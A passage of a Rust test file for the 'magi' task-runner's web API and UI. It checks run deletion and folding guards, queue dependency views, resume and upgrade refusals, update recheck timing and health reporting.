9983 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
9984
9985 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
9986 std::thread::sleep(Duration::from_millis(10));
9987 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
9988
9989 let rev_before = runs_revision(&runs);
9990 assert!(rev_before > 0);
9991
9992 let old_dir = runs.join("20260901-100000-old1");
9993 std::fs::remove_dir_all(&old_dir).expect("remove old run");
9994
9995 let rev_after = runs_revision(&runs);
9996 assert_ne!(
9997 rev_before, rev_after,
9998 "deleting an older run must change the revision so other clients see the deletion"
9999 );
10000 }
10001
10002 fn write_state(runs: &FsPath, state: &RunState) {
10007 let dir = runs.join(&state.id);
10008 std::fs::create_dir_all(&dir).expect("run dir");
10009 std::fs::write(
10010 dir.join("run.json"),
10011 serde_json::to_string_pretty(state).expect("serialize run"),
10012 )
10013 .expect("write run.json");
10014 }
10015
10016 #[test]
10021 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
10022 let temp = TempDir::new().expect("tempdir");
10023 let runs = temp.path().join("runs");
10024 std::fs::create_dir_all(&runs).expect("create runs dir");
10025 let mut state = RunState::new(
10026 PathBuf::from("/repo/magi"),
10027 "main".to_owned(),
10028 "0123456789abcdef".to_owned(),
10029 "task".to_owned(),
10030 Config::default(),
10031 );
10032 state.id = "20260902-100000-c0de".to_owned();
10033 write_state(&runs, &state);
10034
10035 let rev_idle = runs_revision(&runs);
10036 std::thread::sleep(Duration::from_millis(10));
10037 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
10038 write_state(&runs, &state);
10039 let rev_started = runs_revision(&runs);
10040 assert_ne!(
10041 rev_idle, rev_started,
10042 "a seat starting must move the revision"
10043 );
10044
10045 std::thread::sleep(Duration::from_millis(10));
10046 state.seat_finished("judge-1");
10047 write_state(&runs, &state);
10048 let rev_finished = runs_revision(&runs);
10049 assert_ne!(
10050 rev_started, rev_finished,
10051 "and clearing it again must move the revision a second time"
10052 );
10053 }
10054
10055 #[tokio::test]
10056 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
10057 let fx = Fixture::start().await;
10062 let q = fx.queue();
10063
10064 let mut t = Task::new(
10065 "Task".to_owned(),
10066 "Instruction".to_owned(),
10067 PathBuf::from("/repo"),
10068 Source::Human,
10069 );
10070 t.block(
10071 vec!["20260101-000000-dead".to_owned()],
10072 Some("waiting on Task 1".to_owned()),
10073 );
10074 t.answers.push(crate::queue::AnsweredQuestion {
10075 question: "Which backend?".to_owned(),
10076 answer: "SQLite".to_owned(),
10077 });
10078 q.put(&mut t).expect("put t");
10079
10080 let res = fx.get("/api/queue").await;
10081 assert_eq!(res.status, 200);
10082 let list = res.json();
10083 let view = list
10084 .as_array()
10085 .expect("array")
10086 .iter()
10087 .find(|v| v["id"] == t.id)
10088 .expect("task in list");
10089 assert_eq!(view["status_str"], "blocked");
10090 assert_eq!(
10091 view["blocked_by"],
10092 serde_json::json!(["20260101-000000-dead"])
10093 );
10094 assert_eq!(view["block_reason"], "waiting on Task 1");
10095 assert_eq!(view["answers"][0]["question"], "Which backend?");
10096 assert_eq!(view["answers"][0]["answer"], "SQLite");
10097
10098 let res = fx
10102 .post(&format!("/api/queue/{}/hold", t.short()), None)
10103 .await;
10104 assert_eq!(res.status, 200);
10105 let held = res.json();
10106 assert_eq!(held["status_str"], "held");
10107 assert_eq!(held["blocked_by"], serde_json::json!([]));
10108 assert!(held["block_reason"].is_null());
10109 assert_eq!(held["answers"][0]["answer"], "SQLite");
10110 }
10111
10112 #[tokio::test]
10113 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
10114 let fx = Fixture::start().await;
10115 let q = fx.queue();
10116 let mk = |title: &str| {
10117 Task::new(
10118 title.to_owned(),
10119 "Instruction".to_owned(),
10120 PathBuf::from("/repo"),
10121 Source::Human,
10122 )
10123 };
10124 let mut root = mk("root");
10125 root.hold_manual(Some("waiting".to_owned()));
10126 q.put(&mut root).unwrap();
10127 let mut mid = mk("mid");
10128 mid.block(vec![root.id.clone()], None);
10129 q.put(&mut mid).unwrap();
10130 let mut leaf = mk("leaf");
10131 leaf.block(vec![mid.id.clone()], None);
10132 q.put(&mut leaf).unwrap();
10133
10134 let list = fx.get("/api/queue").await.json();
10135 let find = |id: &str| {
10136 list.as_array()
10137 .unwrap()
10138 .iter()
10139 .find(|v| v["id"] == id)
10140 .unwrap()
10141 .clone()
10142 };
10143 let leaf_view = find(&leaf.id);
10144 assert_eq!(
10145 leaf_view["waits_on"],
10146 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
10147 );
10148 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
10149 assert_eq!(
10150 find(&mid.id)["waits_on"],
10151 serde_json::json!([format!("{} (held)", root.short())])
10152 );
10153 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
10154 }
10155
10156 #[tokio::test]
10157 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
10158 let fx = Fixture::start().await;
10159 let q = fx.queue();
10160
10161 let mut t1 = Task::new(
10163 "Task 1".to_owned(),
10164 "Instruction 1".to_owned(),
10165 PathBuf::from("/repo"),
10166 Source::Human,
10167 );
10168 let run_id = "20260901-000000-r111";
10169 t1.runs.push(run_id.to_owned());
10170 write_run(&fx.runs(), run_id, RunStatus::Merged);
10171 q.put(&mut t1).expect("put t1");
10172
10173 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
10175 assert_eq!(res.status, 204);
10176 assert!(res.body.is_empty(), "204 No Content has no body");
10177 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
10178 assert!(
10179 fx.runs().join(run_id).exists(),
10180 "run directory must not be deleted when its task is deleted"
10181 );
10182
10183 let mut t2 = Task::new(
10185 "Task 2".to_owned(),
10186 "Instruction 2".to_owned(),
10187 PathBuf::from("/repo"),
10188 Source::Human,
10189 );
10190 t2.status = TaskStatus::Running;
10191 q.put(&mut t2).expect("put t2");
10192 let mut beat = crate::daemon::Status::new();
10193 beat.current = vec![crate::daemon::Current {
10194 task: t2.id.clone(),
10195 run: "20260901-000000-r222".to_owned(),
10196 }];
10197 beat.updated_at = jiff::Timestamp::now();
10198 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
10199 .expect("publish a heartbeat");
10200 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
10201 assert_eq!(res.status, 409);
10202 assert!(
10203 res.json()["error"]
10204 .as_str()
10205 .unwrap()
10206 .contains("live daemon")
10207 );
10208 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
10209
10210 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
10216 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
10217 .expect("leave a stale heartbeat");
10218 let mut t3 = Task::new(
10219 "Task 3".to_owned(),
10220 "Instruction 3".to_owned(),
10221 PathBuf::from("/repo"),
10222 Source::Human,
10223 );
10224 t3.status = TaskStatus::Running;
10225 q.put(&mut t3).expect("put t3");
10226 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
10227 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
10228 assert_eq!(res.status, 204);
10229 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
10230 assert!(
10231 q.claim(&t3.id).is_ok(),
10232 "the stale lock went with it, so the id is claimable again"
10233 );
10234
10235 let res = fx.delete("/api/queue/nonexistent").await;
10237 assert_eq!(res.status, 404);
10238 }
10239
10240 #[tokio::test]
10241 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
10242 let fx = Fixture::start().await;
10243 let runs = fx.runs();
10244
10245 let run_id = "20260901-000000-fold";
10247 let mut state = RunState::new(
10248 PathBuf::from("/repo"),
10249 "main".to_owned(),
10250 "abc".to_owned(),
10251 "instruction".to_owned(),
10252 Config::default(),
10253 );
10254 state.id = run_id.to_owned();
10255 state.status = RunStatus::Merged;
10256 state.candidates.push(crate::run::Candidate {
10257 index: 0,
10258 label: 'A',
10259 agent: "a".to_owned(),
10260 branch: "b".to_owned(),
10261 worktree: PathBuf::from("/w"),
10262 summary: String::new(),
10263 stat: String::new(),
10264 files: 1,
10265 commits: 1,
10266 empty: false,
10267 failed: None,
10268 verified_noop: None,
10269 duration_ms: 0,
10270 folded: true,
10271 });
10272 let dir = runs.join(run_id);
10273 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
10274 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
10275 .expect("write artifact");
10276 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
10277 .expect("write run.json");
10278
10279 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
10281 assert_eq!(res.status, 204);
10282 assert!(res.body.is_empty(), "204 has no body");
10283 assert!(!dir.exists(), "run directory and artifacts must be deleted");
10284
10285 let run_running = "20260901-000000-rung";
10290 write_run(&runs, run_running, RunStatus::Prep);
10291 let mut beat = crate::daemon::Status::new();
10292 beat.current = vec![crate::daemon::Current {
10293 task: "20260901-000000-task".to_owned(),
10294 run: run_running.to_owned(),
10295 }];
10296 beat.updated_at = jiff::Timestamp::now();
10297 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
10298 .expect("publish a heartbeat");
10299 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
10300 assert_eq!(res.status, 409);
10301 assert!(
10302 res.json()["error"]
10303 .as_str()
10304 .unwrap()
10305 .contains("live daemon"),
10306 "the refusal must say who is holding it"
10307 );
10308 assert!(
10309 runs.join(run_running).exists(),
10310 "a run in flight keeps its directory"
10311 );
10312
10313 let run_unfolded = "20260901-000000-unfd";
10315 let mut state2 = RunState::new(
10316 PathBuf::from("/repo"),
10317 "main".to_owned(),
10318 "abc".to_owned(),
10319 "instruction".to_owned(),
10320 Config::default(),
10321 );
10322 state2.id = run_unfolded.to_owned();
10323 state2.status = RunStatus::Ready;
10324 state2.candidates.push(crate::run::Candidate {
10325 index: 0,
10326 label: 'A',
10327 agent: "a".to_owned(),
10328 branch: "b".to_owned(),
10329 worktree: PathBuf::from("/w"),
10330 summary: String::new(),
10331 stat: String::new(),
10332 files: 1,
10333 commits: 1,
10334 empty: false,
10335 failed: None,
10336 verified_noop: None,
10337 duration_ms: 0,
10338 folded: false,
10339 });
10340 let dir2 = runs.join(run_unfolded);
10341 std::fs::create_dir_all(&dir2).expect("create dir2");
10342 std::fs::write(
10343 dir2.join("run.json"),
10344 serde_json::to_string(&state2).unwrap(),
10345 )
10346 .expect("write run.json");
10347
10348 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
10349 assert_eq!(res.status, 409);
10350 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
10351 assert!(dir2.exists(), "unfolded run directory is kept");
10352
10353 let res = fx.delete("/api/runs/nonexistent").await;
10355 assert_eq!(res.status, 404);
10356 }
10357
10358 #[test]
10367 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
10368 let start = APP_JS
10369 .find("function renderStats() {")
10370 .expect("renderStats");
10371 let end = start
10372 + APP_JS[start..]
10373 .find("function statsTile(")
10374 .expect("the next top-level function");
10375 let body = &APP_JS[start..end];
10376
10377 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
10378 let gate_end = gate_start
10379 + body[gate_start..]
10380 .find("}\n renderStatsQueue")
10381 .expect("the gate's own closing brace, right before the unconditional call");
10382 let gated = &body[gate_start..gate_end];
10383
10384 assert_eq!(
10385 body.matches("renderStatsQueue(").count(),
10386 1,
10387 "renderStats must call renderStatsQueue exactly once: {body}"
10388 );
10389 assert!(
10390 !gated.contains("renderStatsQueue"),
10391 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
10392 run-derived panels on an empty run history - the queue panel has to render \
10393 regardless: {gated}"
10394 );
10395 }
10396
10397 #[test]
10398 fn web_ui_delete_contract_in_front_end() {
10399 assert!(APP_JS.contains("deleteRun:"));
10401 assert!(APP_JS.contains("deleteTask:"));
10402
10403 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
10405 ..APP_JS.find("function renderRuns").unwrap()];
10406 assert!(!run_cards_slice.to_lowercase().contains("delete"));
10407
10408 assert!(APP_JS.contains("renderRunDelete"));
10410 assert!(APP_JS.contains("runDeleteReason"));
10411 assert!(APP_JS.contains("magi fold"));
10412 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
10413
10414 assert!(APP_JS.contains("cancel.focus"));
10416 assert!(APP_JS.contains("armedRunDelete"));
10417 assert!(APP_JS.contains("armedDelete"));
10418
10419 assert!(APP_JS.contains("disabled: status === \"running\""));
10421 }
10422
10423 #[test]
10443 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
10444 let build = APP_JS
10445 .find("function createRunCard")
10446 .expect("createRunCard exists");
10447 let update = APP_JS
10448 .find("function updateRunCard")
10449 .expect("updateRunCard exists");
10450 let end = APP_JS
10451 .find("function renderRuns")
10452 .expect("renderRuns exists");
10453
10454 let builder = &APP_JS[build..update];
10456 let open = builder.find("refs = {").expect("createRunCard sets refs");
10457 let literal = &builder[open + "refs = {".len()..];
10458 let close = literal.find('}').expect("the refs literal is closed");
10459 let published: HashSet<&str> = literal[..close]
10460 .split(',')
10461 .filter_map(|entry| entry.split(':').next())
10463 .map(str::trim)
10464 .filter(|name| !name.is_empty())
10465 .collect();
10466 assert!(
10467 published.len() > 5,
10468 "the refs literal did not parse into names: {published:?}"
10469 );
10470
10471 let mut used: Vec<&str> = Vec::new();
10474 let updaters = &APP_JS[update..end];
10475 for (at, _) in updaters.match_indices("r.") {
10476 let before = updaters[..at].chars().next_back();
10479 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
10480 continue;
10481 }
10482 let rest = &updaters[at + 2..];
10483 let len = rest
10484 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
10485 .unwrap_or(rest.len());
10486 if len > 0 {
10487 used.push(&rest[..len]);
10488 }
10489 }
10490 assert!(
10491 used.len() > 5,
10492 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
10493 );
10494
10495 let missing: Vec<&str> = used
10496 .iter()
10497 .copied()
10498 .filter(|name| !published.contains(name))
10499 .collect();
10500 assert!(
10501 missing.is_empty(),
10502 "a run card's updater reaches for {missing:?}, which `createRunCard` \
10503 never put in `refs` - every card will throw and the list will \
10504 render empty under a count line that says otherwise. Published: \
10505 {published:?}"
10506 );
10507 }
10508
10509 #[tokio::test]
10510 async fn folding_from_the_phone_reports_what_it_removed() {
10511 let fx = Fixture::start().await;
10512 let runs = fx.runs();
10513
10514 let id = "20260901-000000-fold";
10518 write_run(&runs, id, RunStatus::Stalled);
10519 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
10520 assert_eq!(res.status, 200);
10521 assert_eq!(res.json()["removed_count"], 0);
10522 assert_eq!(res.json()["run"], id);
10523 assert!(
10524 runs.join(id).exists(),
10525 "a fold keeps the run's record; only the worktrees go"
10526 );
10527 }
10528
10529 #[tokio::test]
10530 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
10531 let fx = Fixture::start().await;
10532 let runs = fx.runs();
10533 let wt = fx.home.path().join("wt").join("magi").join("dead");
10534 let id = "20260901-000000-dead";
10535 std::fs::create_dir_all(runs.join(id)).expect("run dir");
10536 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
10537 std::fs::create_dir_all(&wt).expect("worktree dir");
10538
10539 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
10540 assert_eq!(res.status, 200, "{}", res.body);
10541 assert!(
10542 res.json()["removed_count"].as_u64().unwrap() > 0,
10543 "the worktree this build could not read a state for still went"
10544 );
10545 assert!(
10546 !runs.join(id).exists(),
10547 "an unreadable run has no candidate list to fold selectively, so \
10548 the whole record goes - same as `magi fold` on the CLI"
10549 );
10550 }
10551
10552 #[tokio::test]
10553 async fn deleting_an_unreadable_run_removes_it_wholesale() {
10554 let fx = Fixture::start().await;
10555 let runs = fx.runs();
10556 let wt = fx.home.path().join("wt").join("magi").join("gone");
10557 let id = "20260901-000000-gone";
10558 std::fs::create_dir_all(runs.join(id)).expect("run dir");
10559 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
10560 std::fs::create_dir_all(&wt).expect("worktree dir");
10561
10562 let res = fx.delete(&format!("/api/runs/{id}")).await;
10563 assert_eq!(res.status, 204, "{}", res.body);
10564 assert!(!runs.join(id).exists(), "the broken record is gone");
10565 assert!(!wt.exists(), "its worktree is gone too");
10566 }
10567
10568 #[tokio::test]
10569 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
10570 let fx = Fixture::start().await;
10571 let runs = fx.runs();
10572 let id = "20260901-000000-live";
10573 write_run(&runs, id, RunStatus::Implementing);
10574
10575 let mut beat = crate::daemon::Status::new();
10576 beat.current = vec![crate::daemon::Current {
10577 task: "20260901-000000-task".to_owned(),
10578 run: id.to_owned(),
10579 }];
10580 beat.updated_at = jiff::Timestamp::now();
10581 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
10582 .expect("publish a heartbeat");
10583
10584 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
10585 assert_eq!(res.status, 409);
10586 assert!(
10587 res.json()["error"]
10588 .as_str()
10589 .unwrap()
10590 .contains("live daemon"),
10591 "folding under a running agent would pull its worktree away"
10592 );
10593 }
10594
10595 #[tokio::test]
10596 async fn fold_merged_requires_a_pr_url() {
10597 let fx = Fixture::start().await;
10598 let runs = fx.runs();
10599 let id = "20260901-000000-nourl";
10600 write_run(&runs, id, RunStatus::Blocked);
10601
10602 let res = fx
10603 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
10604 .await;
10605 assert_eq!(res.status, 400, "{}", res.body);
10606
10607 let blank = fx
10608 .post(
10609 &format!("/api/runs/{id}/fold-merged"),
10610 Some(r#"{"pr_url":" "}"#),
10611 )
10612 .await;
10613 assert_eq!(blank.status, 400, "{}", blank.body);
10614 }
10615
10616 #[tokio::test]
10617 async fn fold_merged_is_404_for_an_unknown_run() {
10618 let fx = Fixture::start().await;
10619 let res = fx
10620 .post(
10621 "/api/runs/nosuchrun/fold-merged",
10622 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
10623 )
10624 .await;
10625 assert_eq!(res.status, 404, "{}", res.body);
10626 }
10627
10628 #[tokio::test]
10629 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
10630 let fx = Fixture::start().await;
10631 let runs = fx.runs();
10632 let id = "20260901-000000-livemerge";
10633 write_run(&runs, id, RunStatus::Blocked);
10634
10635 let mut beat = crate::daemon::Status::new();
10636 beat.current = vec![crate::daemon::Current {
10637 task: "20260901-000000-task".to_owned(),
10638 run: id.to_owned(),
10639 }];
10640 beat.updated_at = jiff::Timestamp::now();
10641 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
10642 .expect("publish a heartbeat");
10643
10644 let res = fx
10645 .post(
10646 &format!("/api/runs/{id}/fold-merged"),
10647 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
10648 )
10649 .await;
10650 assert_eq!(res.status, 409, "{}", res.body);
10651 assert!(
10652 res.json()["error"]
10653 .as_str()
10654 .unwrap()
10655 .contains("live daemon"),
10656 "correcting a run's merge underneath a running agent would race \
10657 whatever it is doing to the same `status`/`merge` fields"
10658 );
10659 }
10660
10661 #[tokio::test]
10666 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
10667 let fx = Fixture::start().await;
10668 let runs = fx.runs();
10669 let id = "20260901-000000-unconfirmed";
10670 write_run(&runs, id, RunStatus::Blocked);
10671
10672 let res = fx
10673 .post(
10674 &format!("/api/runs/{id}/fold-merged"),
10675 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
10676 )
10677 .await;
10678 assert_eq!(res.status, 400, "{}", res.body);
10679 assert_eq!(
10680 read_run(&runs, id).unwrap().status,
10681 RunStatus::Blocked,
10682 "a pull request that could not be confirmed merged must leave \
10683 the run exactly where it was"
10684 );
10685 }
10686
10687 #[tokio::test]
10688 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
10689 let fx = Fixture::start().await;
10690 let runs = fx.runs();
10691
10692 for (status, word) in [
10698 (RunStatus::Merged, "merged"),
10699 (RunStatus::Ready, "ready"),
10700 (RunStatus::Failed, "failed"),
10701 ] {
10702 let id = format!("20260901-000000-{}", &word[..4]);
10703 write_run(&runs, &id, status);
10704 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
10705 assert_eq!(res.status, 409, "{word} must not be resumable");
10706 let err = res.json()["error"].as_str().unwrap().to_owned();
10707 assert!(err.contains(word), "the refusal names the status: {err}");
10708 }
10709
10710 let mid = "20260901-000000-midf";
10715 write_run(&runs, mid, RunStatus::Reviewing);
10716 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
10717 assert_eq!(res.status, 202, "an interrupted run is resumable");
10718 }
10719
10720 #[tokio::test]
10721 async fn resume_is_refused_while_the_loop_is_running() {
10722 let fx = Fixture::start().await;
10723 let runs = fx.runs();
10724 let stalled = "20260901-000000-stal";
10725 write_run(&runs, stalled, RunStatus::Stalled);
10726
10727 let mut beat = crate::daemon::Status::new();
10731 beat.current = vec![crate::daemon::Current {
10732 task: "20260901-000000-task".to_owned(),
10733 run: "20260901-000000-othr".to_owned(),
10734 }];
10735 beat.updated_at = jiff::Timestamp::now();
10736 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
10737 .expect("publish a heartbeat");
10738
10739 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
10740 assert_eq!(res.status, 409);
10741 let err = res.json()["error"].as_str().unwrap().to_owned();
10742 assert!(err.contains("othr"), "it names what the loop is on: {err}");
10743 assert!(err.contains("stop it first"), "{err}");
10744 }
10745
10746 #[test]
10747 fn a_run_cannot_be_resumed_twice_at_once() {
10748 let home = TempDir::new().expect("temp home");
10749 let ui = Ui::new(
10750 Queue::at(home.path().join("queue")),
10751 Questions::at(home.path().join("questions")),
10752 Talks::at(home.path().join("talks")),
10753 home.path().join("runs"),
10754 home.path().to_path_buf(),
10755 PathBuf::from("/repo"),
10756 )
10757 .with_worktrees_root(home.path().join("wt"));
10758 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
10759 let again = ui.begin_resume("20260901-000000-once");
10760 assert!(again.is_err(), "a second tap must not start a second graph");
10761 drop(first);
10762 assert!(
10763 ui.begin_resume("20260901-000000-once").is_ok(),
10764 "and the claim is released when the attempt ends"
10765 );
10766 }
10767
10768 #[test]
10769 fn talk_thinking_tracks_only_its_held_turn_claim() {
10770 let home = TempDir::new().expect("temp home");
10771 let ui = Ui::new(
10772 Queue::at(home.path().join("queue")),
10773 Questions::at(home.path().join("questions")),
10774 Talks::at(home.path().join("talks")),
10775 home.path().join("runs"),
10776 home.path().to_path_buf(),
10777 PathBuf::from("/repo"),
10778 )
10779 .with_worktrees_root(home.path().join("wt"));
10780 let id = "20260901-000000-once";
10781
10782 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
10783 let turn = ui.begin_talk_turn(id).expect("claim turn");
10784 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
10785 assert!(
10786 !ui.is_thinking("20260901-000000-other"),
10787 "one talk's turn does not make another talk busy"
10788 );
10789 drop(turn);
10790 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
10791 }
10792
10793 #[tokio::test]
10794 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
10795 let fx = Fixture::start().await;
10796 let mut beat = crate::daemon::Status::new();
10800 beat.pid = 4321;
10801 beat.updated_at = jiff::Timestamp::now();
10802 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
10803 .expect("publish a heartbeat");
10804
10805 let res = fx.post("/api/upgrade", None).await;
10806 assert_eq!(res.status, 409);
10807 let err = res.json()["error"].as_str().unwrap().to_owned();
10808 assert!(err.contains("4321"), "the refusal names the owner: {err}");
10809 assert!(err.contains("old one against the same queue"), "{err}");
10810 }
10811
10812 #[test]
10819 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
10820 assert!(!should_spawn_recheck(&crate::config::Update {
10821 mode: UpdateMode::Off,
10822 interval: None,
10823 }));
10824
10825 unsafe {
10828 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
10829 }
10830 let killed = should_spawn_recheck(&crate::config::Update {
10831 mode: UpdateMode::Notify,
10832 interval: None,
10833 });
10834 unsafe {
10835 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
10836 }
10837 assert!(
10838 !killed,
10839 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
10840 one-time startup check"
10841 );
10842
10843 assert!(should_spawn_recheck(&crate::config::Update {
10844 mode: UpdateMode::Notify,
10845 interval: None,
10846 }));
10847 }
10848
10849 #[test]
10855 fn recheck_poll_period_tracks_a_short_configured_interval() {
10856 let short = crate::config::Update {
10857 mode: UpdateMode::Notify,
10858 interval: Some("1m".to_owned()),
10859 };
10860 let period = recheck_poll_period(&short);
10861 assert!(
10862 period <= Duration::from_secs(30),
10863 "a one-minute interval must wake the task far sooner than the \
10864 default ceiling, or the deck would not notice within the \
10865 interval the operator configured: got {period:?}"
10866 );
10867
10868 let default = crate::config::Update {
10869 mode: UpdateMode::Notify,
10870 interval: None,
10871 };
10872 assert_eq!(
10873 recheck_poll_period(&default),
10874 UPDATE_RECHECK_POLL_MAX,
10875 "the default day-long interval should poll at the (capped) \
10876 ceiling rather than needlessly often"
10877 );
10878 }
10879
10880 #[test]
10888 fn recheck_skips_the_network_before_the_interval_elapses() {
10889 let dir = TempDir::new().expect("temp dir");
10890 let path = dir.path().join("state.json");
10891 let state = kaishin::UpdateCheckState {
10892 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
10893 last_known_latest: None,
10894 last_known_url: None,
10895 };
10896 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
10897
10898 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
10899 assert!(
10900 !update_recheck_due(&checker, None),
10901 "a check made moments ago must not be repeated before the \
10902 configured interval elapses"
10903 );
10904 }
10905
10906 #[test]
10912 fn recheck_defers_to_an_upgrade_already_in_flight() {
10913 let dir = TempDir::new().expect("temp dir");
10914 let path = dir.path().join("state.json");
10915 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
10916 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
10917
10918 assert!(
10919 !update_recheck_due(&checker, Some(&progress)),
10920 "a recheck must not run while an upgrade this deck started is \
10921 still moving"
10922 );
10923 }
10924
10925 #[tokio::test]
10926 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
10927 unsafe {
10939 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
10940 }
10941 let fx = Fixture::start().await;
10942 let res = fx.post("/api/upgrade", None).await;
10943 unsafe {
10944 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
10945 }
10946 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
10947 let body = res.json();
10948 assert!(body["to"].is_null(), "there was no release to move to");
10949 assert!(body["parked"].is_null(), "and nothing was parked");
10950 assert!(
10951 body["detail"]
10952 .as_str()
10953 .unwrap()
10954 .contains("disabled by MAGI_NO_AUTOUPDATE"),
10955 "{body:?}"
10956 );
10957 }
10958
10959 #[tokio::test]
10960 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
10961 let repo = TempDir::new().expect("repo dir");
10977 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
10978 .expect("write magi.toml");
10979 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
10980
10981 let res = fx.post("/api/upgrade", None).await;
10987 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
10988 let body = res.json();
10989 assert!(body["to"].is_null(), "there was no release to move to");
10990 assert!(body["parked"].is_null(), "and nothing was parked");
10991 assert!(
10992 body["detail"]
10993 .as_str()
10994 .unwrap()
10995 .contains("nothing restarted"),
10996 "{body:?}"
10997 );
10998 }
10999
11000 #[tokio::test]
11001 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
11002 let repo = TempDir::new().expect("repo dir");
11007 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
11008 .expect("write magi.toml");
11009 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
11010
11011 let health = fx.get("/api/health").await.json();
11012 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
11013 assert_eq!(
11014 health["update"]["available"], false,
11015 "checking is off, which reads as \"unknown\", not \"none\""
11016 );
11017 assert!(health["update"]["to"].is_null());
11018 assert!(
11019 health["upgrade"].is_null(),
11020 "nothing has ever asked this deck to upgrade"
11021 );
11022 }
11023
11024 #[tokio::test]
11025 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
11026 let fx = Fixture::start().await;
11027 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
11028
11029 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
11030 progress.parked_run = Some("20260905-000000-cd51".to_owned());
11031 progress.advance(crate::updater::Stage::Parking);
11032 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
11033
11034 let health = fx.get("/api/health").await.json();
11035 assert_eq!(health["upgrade"]["stage"], "parking");
11036 assert_eq!(health["upgrade"]["from"], "0.5.1");
11037 assert_eq!(health["upgrade"]["to"], "0.5.2");
11038 let waiting_on = health["upgrade"]["waiting_on"]
